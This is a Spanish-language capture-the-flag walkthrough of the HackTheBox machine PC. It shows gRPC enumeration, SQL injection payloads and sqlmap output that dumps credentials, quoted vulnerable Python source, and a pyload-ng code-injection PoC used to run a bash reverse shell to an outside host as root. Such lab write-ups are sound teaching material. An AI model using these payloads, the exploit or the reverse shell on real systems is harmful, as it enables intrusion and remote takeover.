Contents

HackTheBox - PC

HackTheBox - PC

Informacion de la Maquina

En PC identificamos una vulnerabilidad de SQLi en una aplicacion gRPC lo cual nos permitio obtener credenciales de acceso por SSH. Finalmente escalamos privilegios tras encontrar y explotar una vulnerabilidad en Pyload que permite la ejecucion de codigo python.

DificultadFACIL
OSLinux
Fecha de Salida2023-05-20
Makersau123
First User Bloodhtbas9du (0H 16M 51S)
First Root Bloodhtbas9du (0H 26M 40S)
Rated Difficulty
Machine Matrix

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y 50051 (unknown).

bash
 1# Nmap 7.93 scan initiated Mon May 22 18:15:25 2023 as: nmap -p22,50051 -Pn -sV -sC -oN nmap_scan 10.129.94.235
 2Nmap scan report for 10.129.94.235
 3Host is up (0.15s latency).
 4
 5PORT      STATE SERVICE VERSION
 622/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
 7| ssh-hostkey:
 8|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
 9|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
10|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
1150051/tcp open  unknown
121 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
13SF-Port50051-TCP:V=7.93%I=7%D=5/22%Time=646BE984%P=x86_64-pc-linux-gnu%r(N
14SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
15SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
16SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
17SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
18SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
19SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
20SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
21SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
22SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
23SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
24SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
25SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
26SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
27SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
28SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
29SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
30SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
31SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
32SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
33SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
34SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
35SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
36SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
37SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
38SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
39SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
40SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
41SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
42SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
43SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
44SF:0\0\0\0\0\?\0\0");
45Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
46
47Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
48# Nmap done at Mon May 22 18:15:46 2023 -- 1 IP address (1 host up) scanned in 20.94 seconds

gRPC

Del puerto 50051 no obtuvimos informacion por nmap, es por ello que intentamos realizar una conexion con netca y ver que informacion muestra.

bash
1 π ~/htb/pc ❯ nc 10.129.69.40 50051 -vvv
210.129.69.40: inverse host lookup failed: Unknown host
3(UNKNOWN) [10.129.69.40] 50051 (?) open
4???@Did not receive HTTP/2 settings before handshake timeout sent 0, rcvd 119
5 π ~/htb/pc ❯

Al realizar una conexion el unico mensaje que nos muestra es de error, tras investigar, encontramos que se trata de gRPC y encontramos el mensaje en el repositorio de github.

Tools

Investigamos herramientas o comandos que nos permitan realizar una conexion por este ‘servicio’, y encontramos una lista de herramientas, cli y GUI.

gRPC GUI

Utilizamos grpcurl en este caso una version GUI. Simplemente ralizamos la conexion con el servidor en el puerto 50051, y este nos muestra una url de un sitio interactivo.

bash
1 π ~/htb/pc ❯ grpcui -plaintext 10.10.11.214:50051
2gRPC Web UI available at http://127.0.0.1:44115/

Al inicio observamos dos opciones: servicio y sus metodos.

image

El sitio presenta cuatro pestañas:

  • Request From: es donde se define la solicitud.
  • Raw Request JSON: es similar a la anterior pero en formato JSON.
  • Response: en esta pestaña se muestra la respuesta de la solicitud realizada.
  • History: se muestran todas las solicitudes realizadas.

image

User Authentication

Creamos un usuario, marcando ambas casillas, usuario y contraseña.

image

La respuesta muestra que fue exitosa.

image

Intentamos ingresar con las credenciales, y vemos que en la respuesta se muestra un tokne JWT.

image

JWT.io muestra user_id en el payload.

image

getInfo

Si intentamos realizar una consulta sobre id en el metodo getInfo, espera por un token el cual ya nos fue proporcionado.

image

Agregamos el token en Metadata y realizamos la consulta a nuestro ID.

image

La respuesta unicamente muestra un mensaje.

bash
1{
2    "message": "Will update soon."
3}

image

El ID 1 nos muestra un mensaje diferente.

bash
1{
2  "message": "The admin is working hard to fix the issues."
3}

image

Si aumentamos el numero de ID unicamente obtenemos un error, lo que podria significar que no existen.

bash
1 Unknown (2)
2Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable

SQLite Injection

El ID 13 no “existe” pero si pasamos un OR con un valor valido, nos retorna el mismo mensaje que el ID 1, al igual que con AND pero resultado contrario. Con ello posiblemente exista una vulnerabilidad de SQL Injection.

bash
113 OR 1=1
21 AND 1=0

Intentamos con Union based injection, unicamente encontramos 1 columna.

bash
1# payload
2{
3    "id":"1 union select null--"
4}
5
6# response
7{
8    "message": "None"
9}

Identificamos que la base de datos es SQLite.

bash
1# payload
2{
3    "id":"1 union select sqlite_version()--"
4}
5
6# response
7{
8    "message": "3.31.1"
9}

image

SQLmap

Utilizamos sqlmap para realizar la inyeccion, guardando la solicitud y agregando un asterisco en donde queremos realizar la inyeccion, en este caso en el valor del ID. Es importante mencionar que la inyeccion la estamos realizando a traves de grpcui, por lo que este ultimo esta haciendo de “intermediario”.

bash
 1 π ~/htb/pc ❯ cat request.req
 2POST /invoke/SimpleApp.getInfo HTTP/1.1
 3Host: 127.0.0.1:43357
 4User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
 5Accept: */*
 6Accept-Language: en-US,en;q=0.5
 7Accept-Encoding: gzip, deflate
 8Content-Type: application/json
 9x-grpcui-csrf-token: 9yPdzPJsp1k-HytJ10F5XTbXfk52sOoNrl6m3lEgUik
10X-Requested-With: XMLHttpRequest
11Content-Length: 190
12Origin: http://127.0.0.1:43357
13Connection: close
14Referer: http://127.0.0.1:43357/
15Cookie: lang=en-US; gogs_awesome=john; gogs_incredible=117639059a7d66bd0433f890844ecfda006f9f9e8dcee0a0d6218541db7f761b; _csrf=9Q9qx08VO-SgwLpIaC7ZzoM29N46MTY4NjcwNjAxMDI5MzcwNzU3MA; _grpcui_csrf_token=9yPdzPJsp1k-HytJ10F5XTbXfk52sOoNrl6m3lEgUik
16Sec-Fetch-Dest: empty
17Sec-Fetch-Mode: cors
18Sec-Fetch-Site: same-origin
19
20{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlciIsImV4cCI6MTY4Njc4MjMwMn0.cvIsCVFYqBeTrftPbk8zZDgWGYoiFBI140Coq4XUSGM"}],"data":[{"id":"*"}]}
21 π ~/htb/pc ❯

Ejecutamos sqlmap sin especificar el tipo de inyeccion, al finalizar vemos que encontro tres tipos de inyeccion.

bash
 1 π ~/htb/pc ❯ sqlmap -r request.req --batch --level 5 --risk 3 --dbs --dbms sqlite
 2        ___
 3       __H__
 4 ___ ___["]_____ ___ ___  {1.7.2#stable}
 5|_ -| . [)]     | .'| . |
 6|___|_  [)]_|_|_|__,|  _|
 7      |_|V...       |_|   https://sqlmap.org
 8
 9[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
10
11[*] starting @ 16:13:56 /2023-06-14/
12
13[16:13:56] [INFO] parsing HTTP request from 'request.req'
14custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
15JSON data found in POST body. Do you want to process it? [Y/n/q] Y
16Cookie parameter '_csrf' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
17Cookie parameter '_grpcui_csrf_token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] N
18[16:13:57] [INFO] testing connection to the target URL
19[16:13:57] [INFO] checking if the target is protected by some kind of WAF/IPS
20[16:13:57] [INFO] testing if the target URL content is stable
21[16:13:57] [INFO] target URL content is stable
22[16:13:57] [INFO] testing if (custom) POST parameter 'JSON #1*' is dynamic
23[16:13:57] [INFO] (custom) POST parameter 'JSON #1*' appears to be dynamic
24[16:13:57] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON #1*' might not be injectable
25[16:13:57] [INFO] testing for SQL injection on (custom) POST parameter 'JSON #1*'
26[16:13:57] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
27[16:14:02] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
28[16:14:04] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable
29[16:14:04] [INFO] testing 'Generic inline queries'
30[16:14:04] [INFO] testing 'SQLite inline queries'
31[16:14:04] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
32[16:14:04] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
33[16:14:04] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
34[16:14:05] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'
35[16:14:05] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query - comment)'
36[16:14:05] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query - comment)'
37[16:14:05] [INFO] testing 'SQLite > 2.0 time-based blind - Parameter replace (heavy query)'
38[16:14:11] [INFO] (custom) POST parameter 'JSON #1*' appears to be 'SQLite > 2.0 time-based blind - Parameter replace (heavy query)' injectable
39[16:14:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
40[16:14:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
41[16:14:13] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
42[16:14:15] [INFO] target URL appears to be UNION injectable with 1 columns
43[16:14:15] [INFO] (custom) POST parameter 'JSON #1*' is 'Generic UNION query (random number) - 1 to 20 columns' injectable
44[16:14:15] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
45(custom) POST parameter 'JSON #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
46sqlmap identified the following injection point(s) with a total of 134 HTTP(s) requests:
47---
48Parameter: JSON #1* ((custom) POST)
49    Type: boolean-based blind
50    Title: OR boolean-based blind - WHERE or HAVING clause
51    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlciIsImV4cCI6MTY4Njc4MjMwMn0.cvIsCVFYqBeTrftPbk8zZDgWGYoiFBI140Coq4XUSGM"}],"data":[{"id":"-7069 OR 8599=8599"}]}
52
53    Type: time-based blind
54    Title: SQLite > 2.0 time-based blind - Parameter replace (heavy query)
55    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlciIsImV4cCI6MTY4Njc4MjMwMn0.cvIsCVFYqBeTrftPbk8zZDgWGYoiFBI140Coq4XUSGM"}],"data":[{"id":"(SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))"}]}
56
57    Type: UNION query
58    Title: Generic UNION query (random number) - 3 columns
59    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidXNlciIsImV4cCI6MTY4Njc4MjMwMn0.cvIsCVFYqBeTrftPbk8zZDgWGYoiFBI140Coq4XUSGM"}],"data":[{"id":"-8429 UNION ALL SELECT CHAR(113,113,122,107,113)||CHAR(83,107,102,65,119,90,79,80,66,74,65,81,89,109,87,82,89,70,113,107,111,65,65,117,67,88,117,109,110,102,87,85,66,76,105,116,103,118,72,76)||CHAR(113,106,118,122,113)-- Yfmi"}]}
60---
61[16:14:15] [INFO] the back-end DBMS is SQLite
62back-end DBMS: SQLite
63[16:14:15] [WARNING] on SQLite it is not possible to enumerate databases (use only '--tables')
64[16:14:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'
65
66[*] ending @ 16:14:15 /2023-06-14/
67
68 π ~/htb/pc ❯ 

Vemos que existen dos tablas.

bash
 1---
 2[16:17:22] [INFO] testing SQLite
 3[16:17:22] [INFO] confirming SQLite
 4[16:17:22] [INFO] actively fingerprinting SQLite
 5[16:17:22] [INFO] the back-end DBMS is SQLite
 6back-end DBMS: SQLite
 7[16:17:22] [INFO] fetching tables for database: 'SQLite_masterdb'
 8<current>
 9[2 tables]
10+----------+
11| accounts |
12| messages |
13+----------+

Realizamos un ‘dump’ en ambas tablas, vemos un unico mensaje en messages.

bash
1Database: <current>
2Table: messages
3[1 entry]
4+----+----------------------------------------------+----------+
5| id | message                                      | username |
6+----+----------------------------------------------+----------+
7| 1  | The admin is working hard to fix the issues. | admin    |
8+----+----------------------------------------------+----------+

En accounts observamos credenciales.

bash
1Database: <current>
2Table: accounts
3[2 entries]
4+------------------------+----------+
5| password               | username |
6+------------------------+----------+
7| admin                  | admin    |
8| HereIsYourPassWord1431 | sau      |
9+------------------------+----------+

User - Sau

Las credenciales de saui son avalidas por SSH lo que nos permitio obtener nuestra flag user.txt.

bash
 1 π ~/htb/pc ❯ ssh sau@10.129.94.107 # HereIsYourPassWord1431
 2sau@10.129.94.107's password:
 3Last login: Mon May 15 09:00:44 2023 from 10.10.14.19
 4sau@pc:~$ whoami;id;pwd
 5sau
 6uid=1001(sau) gid=1001(sau) groups=1001(sau)
 7/home/sau
 8sau@pc:~$ ls
 9user.txt
10sau@pc:~$ cat user.txt
11abd4e3d49e7f1ee3f5751e43ed4124a9
12sau@pc:~$

Observamos la app siendo ejecutada por el usuario root tambien se muestra pyload.

bash
 1sau@pc:/dev/shm$ ps -ef  | grep root
 2root           1       0  0 May22 ?        00:00:01 /sbin/init
 3
 4[.. snip ..]
 5
 6root         846       1  0 May22 ?        00:00:00 /usr/sbin/ModemManager
 7root         953       1  0 May22 ?        00:00:01 /usr/bin/python3 /opt/app/app.py
 8root         957       1  0 May22 ?        00:00:05 /usr/bin/python3 /usr/local/bin/pyload
 9root         971       1  0 May22 ?        00:00:00 /usr/sbin/cron -f
10
11[.. snip ..]
12
13sau        22394    1814  0 01:59 pts/0    00:00:00 grep --color=auto root
14sau@pc:/dev/shm$

Y el codigo fuente del servicio RPC, observamos que el valor user_id en el metodo getInfo no tiene ningun tipo de ‘filtro’ por lo que es vulnerable.

python
 1[ ... ]
 2
 3class Login(app_pb2_grpc.SimpleAppServicer):
 4
 5[ ... ]
 6
 7    async def getInfo(self, request, context):
 8            headers = dict(context.invocation_metadata())
 9            token = headers.get('token')
10            user_id = middle.authorization(token)
11            if user_id is True:
12                try:
13                    result = cur.execute(f'SELECT message from messages where id = {request.id}').fetchone()[0]
14                    return app_pb2.getInfoResponse(message=f"{result}")
15                except sqlite3.Error as er:
16                    return app_pb2.getInfoResponse(message=er)
17            return app_pb2.getInfoResponse(message="Authorization Error.Missing 'token' header")
18
19[ ... ]
python
 1#!/usr/bin/env python
 2import asyncio
 3import logging
 4import random
 5import grpc
 6from grpc_reflection.v1alpha import reflection
 7import app_pb2
 8import app_pb2_grpc
 9import sqlite3
10import middle
11
12con = sqlite3.connect("/opt/app/sqlite.db")
13cur = con.cursor()
14
15
16class Login(app_pb2_grpc.SimpleAppServicer):
17    async def RegisterUser(self, request, context):
18        username = request.username
19        password = request.password
20        if len(username) < 4 or len(password) < 4:
21            return app_pb2.RegisterUserResponse(message="username or password must be greater than 4")
22        result = cur.execute('SELECT EXISTS(SELECT 1 FROM accounts WHERE username = ?)', (username, )).fetchone()[0]
23
24        if result == 0:
25            cur.execute('INSERT INTO accounts values(?, ?)', (username, password))
26            con.commit()
27            return app_pb2.RegisterUserResponse(message=f'Account created for user {username}!')
28        else:
29            return app_pb2.RegisterUserResponse(message='User Already Exists!!')
30
31    async def LoginUser(self, request, context):
32        username = request.username
33        password = request.password
34        result = cur.execute('SELECT EXISTS(SELECT 1 FROM accounts WHERE username = ? and password = ? )', (username, password)).fetchone()[0]
35        if result == 1:
36            # setting response header
37            context.set_trailing_metadata((
38                ('token', f'{middle.token(username)}'),
39            ))
40            rand_number = random.randint(1,900)
41            #should match any primary or unique constraint
42            cur.execute(f'''INSERT INTO messages VALUES({rand_number}, ? , "Will update soon.") ON CONFLICT (username)
43                        DO  UPDATE SET id = "{rand_number}", username = ?, message = "Will update soon."
44                        ''', (username, username))
45            con.commit()
46            return app_pb2.LoginUserResponse(message=f'Your id is {rand_number}.')
47        else:
48            return app_pb2.LoginUserResponse(message="Login unsuccessful")
49
50    async def getInfo(self, request, context):
51        headers = dict(context.invocation_metadata())
52        token = headers.get('token')
53        user_id = middle.authorization(token)
54        if user_id is True:
55            try:
56                result = cur.execute(f'SELECT message from messages where id = {request.id}').fetchone()[0]
57                return app_pb2.getInfoResponse(message=f"{result}")
58            except sqlite3.Error as er:
59                return app_pb2.getInfoResponse(message=er)
60        return app_pb2.getInfoResponse(message="Authorization Error.Missing 'token' header")
61
62async def serve() -> None:
63    server = grpc.aio.server()
64    app_pb2_grpc.add_SimpleAppServicer_to_server(Login(), server)
65    SERVICE_NAMES = (
66        app_pb2.DESCRIPTOR.services_by_name['SimpleApp'].full_name,
67        reflection.SERVICE_NAME,
68    )
69    reflection.enable_server_reflection(SERVICE_NAMES, server)
70    server.add_insecure_port('0.0.0.0:50051')
71    await server.start()
72    await server.wait_for_termination()
73
74
75if __name__ == '__main__':
76    logging.basicConfig()
77    asyncio.run(serve())

Privesc

Pyload esta siendo ejecutado por root y al investigar este comando encontramos que existe una vulnerabilidad Code Injection in pyload-ng tambien nos presenta el PoC.

bash
1curl -i -s -k -X $'POST' \
2    -H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
3    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
4    $'http://127.0.0.1:8000/flash/addcrypted2'

Para ejecutar comandos propios unicamente codificamos en URL lo siguiente.

bash
1# code
2pyimport os;os.system("touch /tmp/sckull")
3
4# code encoded
5%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%73%63%6b%75%6c%6c%22%29

Modificamos el PoC y ejecutamos, vemos que nuestro comando se ejecuta.

bash
 1-bash-5.0$ curl -i -s -k -X $'POST' \
 2>     -H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
 3>     --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%73%63%6b%75%6c%6c%22%29;f=function%20f2(){};&passwords=aaaa' \
 4>     $'http://127.0.0.1:8000/flash/addcrypted2'
 5HTTP/1.1 500 INTERNAL SERVER ERROR
 6Content-Type: text/html; charset=utf-8
 7Content-Length: 21
 8Access-Control-Max-Age: 1800
 9Access-Control-Allow-Origin: *
10Access-Control-Allow-Methods: OPTIONS, GET, POST
11Vary: Accept-Encoding
12Date: Wed, 14 Jun 2023 20:36:35 GMT
13Server: Cheroot/8.6.0
14
15Could not decrypt key-bash-5.0$ ls /tmp
16pyLoad
17sckull
18snap-private-tmp
19systemd-private-179f24f4d94d4b7d90e1bac3bf43cd38-ModemManager.service-dyVDfg
20systemd-private-179f24f4d94d4b7d90e1bac3bf43cd38-fwupd.service-IUQBtj
21systemd-private-179f24f4d94d4b7d90e1bac3bf43cd38-systemd-logind.service-oVgrzg
22systemd-private-179f24f4d94d4b7d90e1bac3bf43cd38-systemd-resolved.service-pMnaXi
23tmpbu8b2oxl
24tmux-1001
25vmware-root_730-2999460803
26-bash-5.0$

Shell

Creamos un archivo para ejecutar una shell inversa.

bash
1sau@pc:/dev/shm$ echo "bash -i >& /dev/tcp/10.10.14.249/1335 0>&1" > /tmp/shell
2sau@pc:/dev/shm$ cat /tmp/shell
3bash -i >& /dev/tcp/10.10.14.249/1335 0>&1
4sau@pc:/dev/shm$

Modificamos el PoC y ejecutamos.

bash
1# pyimport os;os.system("bash /tmp/shell")
2
3# %70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%62%61%73%68%20%2f%74%6d%70%2f%73%68%65%6c%6c%22%29
4
5curl -i -s -k -X $'POST' \
6    -H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
7    --data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%62%61%73%68%20%2f%74%6d%70%2f%73%68%65%6c%6c%22%29;f=function%20f2(){};&passwords=aaaa' \
8    $'http://127.0.0.1:8000/flash/addcrypted2'

Con ello obtuvimos acceso como root y logramos la lectura de la flag root.txt.

bash
 1 π ~/htb/pc ❯ rlwrap nc -lvp 1335
 2listening on [any] 1335 ...
 310.129.94.107: inverse host lookup failed: Unknown host
 4connect to [10.10.14.249] from (UNKNOWN) [10.129.94.107] 53712
 5bash: cannot set terminal process group (957): Inappropriate ioctl for device
 6bash: no job control in this shell
 7root@pc:~/.pyload/data# whoami;id;pwd
 8whoami;id;pwd
 9root
10uid=0(root) gid=0(root) groups=0(root)
11/root/.pyload/data
12root@pc:~/.pyload/data# cd /root
13cd /root
14root@pc:~# cat root.txt
15cat root.txt
160b4faf0d6f3e6a7cf34a62222940ced7
17root@pc:~#
sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev HackTheBox - MonitorsTwo
Next HackTheBox - Jupiter